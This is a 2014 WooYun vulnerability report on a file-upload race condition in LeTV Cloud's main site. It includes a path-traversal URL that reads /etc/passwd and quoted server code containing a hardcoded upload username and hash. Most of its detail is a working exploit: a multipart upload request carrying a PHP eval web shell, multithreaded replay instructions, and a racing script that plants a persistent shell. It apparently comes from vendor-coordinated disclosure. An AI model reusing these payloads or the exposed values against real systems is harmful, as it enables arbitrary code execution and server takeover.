当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-087250

漏洞标题:乐视云主站可getshell

相关厂商:乐视网

漏洞作者: 杀器王子

提交时间:2014-12-15 16:54

修复时间:2015-01-29 16:56

公开时间:2015-01-29 16:56

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-15: 细节已通知厂商并且等待厂商处理中
2014-12-15: 厂商已经确认,细节仅向厂商公开
2014-12-25: 细节向核心白帽子及相关领域专家公开
2015-01-04: 细节向普通白帽子公开
2015-01-14: 细节向实习白帽子公开
2015-01-29: 细节向公众公开

简要描述:

乐视云主站由于代码上的设计权限 fuzz可getshell

详细说明:

http://www.letvcloud.com/api/docdownload/?filename=../../../../../../../../../../../etc/passwd 可以任意文件下载

Snip20141215_6.png


读这个文件www/Home/Lib/Action/VideoAction.class.php
1387行开始

}else{//只支持jpeg格式上传
$max_file_size = 2000000;//上传文件大小限制最大为2M, 单位BYTE
if($file['type'] != 'image/jpeg' && $file['type'] != 'image/pjpeg'){
$error_message = "<font color='red'>图片只支持jpg格式!</font>";
echo '
<script>
(function(){
parent.document.getElementById("'.$txtid.'").innerHTML="'.$error_message.'";
})();
</script>
';
exit;
}

if($max_file_size < $file["size"]){
$error_message = "<font color='red'>文件最大不应超过2M!</font>";
echo '
<script>
(function(){
parent.document.getElementById("'.$txtid.'").innerHTML="'.$error_message.'";
})();
</script>
';
exit;
}
}
$dest_folder = "Public/img/";
if(!file_exists($dest_folder)){
mkdir($dest_folder);
}

$pinfo=pathinfo($file['name']);
$newfilename = md5(time()).".".$pinfo['extension'];
$destination = $dest_folder.$newfilename;
if( move_uploaded_file ($filename, $destination) ){
$url = 'http://upload.letvcdn.com:8000/single_upload_tool.php';
$data = array(
"isphone " => "1",
"username" =>"isleju",
"md5str" =>"26f6c33c801913158424f7d3fbd6d0c3",
"single_upload_submit" => "",
"single_upload_file" => "@".realpath($destination), //文件名改为你要上传的文件名称
"single_upload_submit"=>"ok"
);
$urldatajson = uploadByCURL($data,$url);
$urldata = json_decode($urldatajson,true);
unlink($destination);


把上传的文件进行了unlink,但是中间有一步上传到其他服务器,会留下时间差
利用这个时间差 我们可以getshell
第一个包

POST /video/imgupload HTTP/1.1
Host: www.letvcloud.com
Proxy-Connection: keep-alive
Content-Length: 450
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.letvcloud.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGFLdcAPyYpQq380J
Referer: http://www.letvcloud.com/video/edit/videoid/8682339
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4
Cookie: LETVCLOUDID=705140aba5a3dc13e1222394352ade2b; Hm_lvt_984e73b4d6ff5ece34ec3da984ece290=1418609297; Hm_lpvt_984e73b4d6ff5ece34ec3da984ece290=1418631122
------WebKitFormBoundaryGFLdcAPyYpQq380J
Content-Disposition: form-data; name="txtid"
load_message
------WebKitFormBoundaryGFLdcAPyYpQq380J
Content-Disposition: form-data; name="headImg"
headImg
------WebKitFormBoundaryGFLdcAPyYpQq380J
Content-Disposition: form-data; name="upfile"; filename="test§1§.php"
Content-Type: image/jpeg
<?php fputs(fopen('f.php','w'),'<?php eval($_POST[f])?>');?>
------WebKitFormBoundaryGFLdcAPyYpQq380J--


开20个线程不停发包,会不断的生成php文件并传往其他服务器
然后用下面脚本

<?php
$url="http://www.letvcloud.com/Public/img/".md5(time()).".php";
echo $url;
file_get_contents($url);
php?>


开一个更高线程发包
在文件被删除前 访问上传成功的php 会重新写入一个php导致getshell

漏洞证明:

Snip20141215_7.png

修复方案:

版权声明:转载请注明来源 杀器王子@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2014-12-15 18:00

厂商回复:

必须修复~~~~~王子,好人啊~~~~

最新状态:

暂无